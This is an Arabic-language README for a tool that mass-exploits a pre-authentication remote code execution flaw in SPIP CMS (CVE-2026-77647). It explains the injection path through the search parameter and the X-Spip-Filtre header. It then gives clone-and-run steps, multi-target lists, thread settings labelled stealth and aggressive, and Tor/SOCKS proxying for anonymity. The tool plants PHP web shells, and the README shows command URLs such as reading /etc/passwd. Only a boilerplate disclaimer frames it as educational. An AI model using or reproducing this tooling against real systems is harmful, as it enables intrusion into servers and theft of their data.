
يتيح SPIP قبل الإصدار 4.4.20 للمهاجمين عن بُعد غير المصادق عليهم تنفيذ تعليمات برمجية عشوائية
SPIP قبل 4.4.20 يسمح للمهاجمين عن بُعد غير المصادق عليهم بتنفيذ تعليمات برمجية عشوائية
تنفيذ تعليمات برمجية عن بُعد قبل المصادقة في SPIP CMS — جميع الإصدارات قبل 4.4.20
CVE-2026-77647 هي ثغرة حرجة لتنفيذ تعليمات برمجية عن بُعد (RCE) دون مصادقة تؤثر على جميع إصدارات SPIP CMS السابقة للإصدار 4.4.20.
تسمح هذه الثغرة للمهاجم عن بُعد — دون أي مصادقة أو تفاعل من المستخدم — بتنفيذ تعليمات PHP برمجية عشوائية على الخادم المستهدف. وقد جرى استغلالها فعليًا في البرية بدءًا من أغسطس 2026، مما دفع فريق SPIP إلى إصدار تصحيح طارئ.
تقوم هذه الأداة بأتمتة اكتشاف هذه الثغرة واستغلالها عبر أهداف متعددة مع إمكانية ضبط التزامن.
| الحقل | التفاصيل |
|---|---|
| معرّف CVE | CVE-2026-77647 |
| البرنامج المتأثر | SPIP CMS |
| الإصدارات المتأثرة | جميع الإصدارات قبل 4.4.20 |
| النوع | تنفيذ تعليمات برمجية عن بُعد (RCE) دون مصادقة |
| CWE | CWE-94 — التحكم غير السليم في توليد التعليمات البرمجية (حقن التعليمات البرمجية) |
| درجة CVSS 3.1 | 9.8 / 10 — حرجة |
| متجه CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| المصادقة | غير مطلوبة (قبل المصادقة) |
| الاستغلال | مُستغلة فعليًا في البرية (أغسطس 2026) |
| التصحيح | SPIP 4.4.20 (إشعار أمني) |
| المقياس | القيمة | المعنى |
|---|---|---|
| متجه الهجوم | الشبكة | قابل للاستغلال عن بُعد عبر الإنترنت |
| تعقيد الهجوم | منخفض | لا توجد شروط خاصة مطلوبة |
| الامتيازات المطلوبة | لا شيء | لا حاجة إلى مصادقة |
| تفاعل المستخدم | لا شيء | لا حاجة إلى أي إجراء من الضحية |
| النطاق | غير متغير | التأثير محدود بالنظام المصاب |
| السرية | عالية | وصول كامل للقراءة إلى جميع البيانات |
| السلامة | عالية | وصول كامل للكتابة / التعديل |
| التوافر | عالية | إمكانية حجب الخدمة الكامل |
تنبع الثغرة من مشكلتين متداخلتين في محرك قوالب SPIP:
تحديد غير صحيح لكتلة <?php — يفشل محرك قوالب SPIP في تنقية وسوم فتح PHP بشكل صحيح داخل المدخلات التي يتحكم بها المستخدم، وتحديدًا في معامل البحث (recherche).
سوء معالجة var_export — تتعامل دالة PHP var_export() بشكل خاطئ مع بعض الحالات الحدّية، لا سيما عندما يحتوي المدخل على المحرف <، مما يسمح بحقن تعليمات PHP برمجية قابلة للتنفيذ.
User Input (recherche) → var_export → X-Spip-Filtre: html_entity_decode → PHP eval
يرسل المهاجم حمولة مُصمَّمة عبر وظيفة البحث في SPIP (?page=recherche&recherche=PAYLOAD). تستغل الحمولة آلية ترويسة HTTP المسماة X-Spip-Filtre لتحفيز html_entity_decode، الذي يفكّ ترميز شيفرة PHP المحقونة. ثم يُقيَّم الكود المفكوك الترميز بواسطة محرك عرض القوالب في SPIP، مما يحقق تنفيذ شيفرة اعتباطية.
┌──────────────────────┐
│ Attacker Machine │
└──────────┬───────────┘
│
│ GET /spip.php?page=recherche&recherche=<PAYLOAD>
▼
┌──────────────────────┐
│ SPIP Application │
│ │
│ 1. Receives search │
│ 2. var_export() │──── Mishandles '<' character
│ 3. X-Spip-Filtre │──── html_entity_decode
│ 4. Template eval │──── Executes injected PHP
│ │
└──────────┬───────────┘
│
│ file_put_contents() → PHP Web Shell
▼
┌──────────────────────┐
│ Web Shell Active │
│ Full RCE Achieved │
└──────────────────────┘
git clone https://github.com/Nxploited/CVE-2026-77647.git
cd CVE-2026-77647
pip install requests
أنشئ ملفًا باسم list.txt (أو أي اسم مخصص) يحتوي على هدف واحد في كل سطر:
https://target1.com
https://target2.com
http://192.168.1.100
target3.com
ملاحظة: الأهداف التي لا تحتوي على مخطط (
http://أوhttps://) ستُعامل افتراضيًا بـhttp://.
python CVE-2026-77647.py
ستطالبك الأداة بما يلي:
[?] Target list (default: list.txt): list.txt
[?] Speed (1-4, default: 2):
| السرعة | الخيوط | المهلة | الملف الشخصي |
|---|---|---|---|
1 — بطيء | 5 | 25s | 🔇 تخفي |
2 — عادي | 10 | 15s | ⚖️ متوازن |
3 — سريع | 25 | 12s | ⚡ عدواني |
4 — فائق | 50 | 10s | 🔥 أقصى |
[?] Proxy (blank = none): socks5://127.0.0.1:9050
يدعم وكلاء HTTP/HTTPS/SOCKS لإخفاء الهوية.
تُحفظ النتائج الناجحة في shells.txt:
https://target.com/img_cache.php?k=nXk&c=id
https://target.com/Nx_.php?k=nXk
تنفيذ الأوامر:
https://target.com/img_cache.php?k=nXk&c=whoami
https://target.com/img_cache.php?k=nXk&c=cat /etc/passwd
واجهة رفع الملفات:
https://target.com/Nx_.php?k=nXk
Composed-By وبصمة الصفحةIMG/، وtmp/، وlocal/تُقدَّم هذه الأداة لأغراض تعليمية بحتة وللبحوث الأمنية المصرّح بها فقط.
يُعدّ استخدام هذه الأداة ضد أنظمة دون إذن كتابي صريح من مالك النظام غير قانوني وقد ينتهك قوانين محلية ووطنية ودولية، بما في ذلك على سبيل المثال لا الحصر قانون الاحتيال وإساءة استخدام الحاسوب (CFAA)، وقانون إساءة استخدام الحاسوب البريطاني، والتشريعات المكافئة في الولايات القضائية الأخرى.
لا يتحمّل المؤلف أي مسؤولية وليس مسؤولًا عن أي إساءة استخدام أو ضرر أو نشاط غير قانوني يسببه هذه الأداة. باستخدامك هذه الأداة، فإنك توافق على ما يلي:
- أنك حصلت على التصريح المناسب قبل اختبار أي هدف
- أنك تتحمّل المسؤولية الكاملة عن أفعالك
- أنك ستلتزم بجميع القوانين واللوائح المعمول بها
- أنك تدرك أن الوصول غير المصرّح به إلى أنظمة الحاسوب يُعدّ جريمة جنائية
استخدمها بمسؤولية. اخترق بأخلاق.
By: Khaled Alenazi
@Nxploited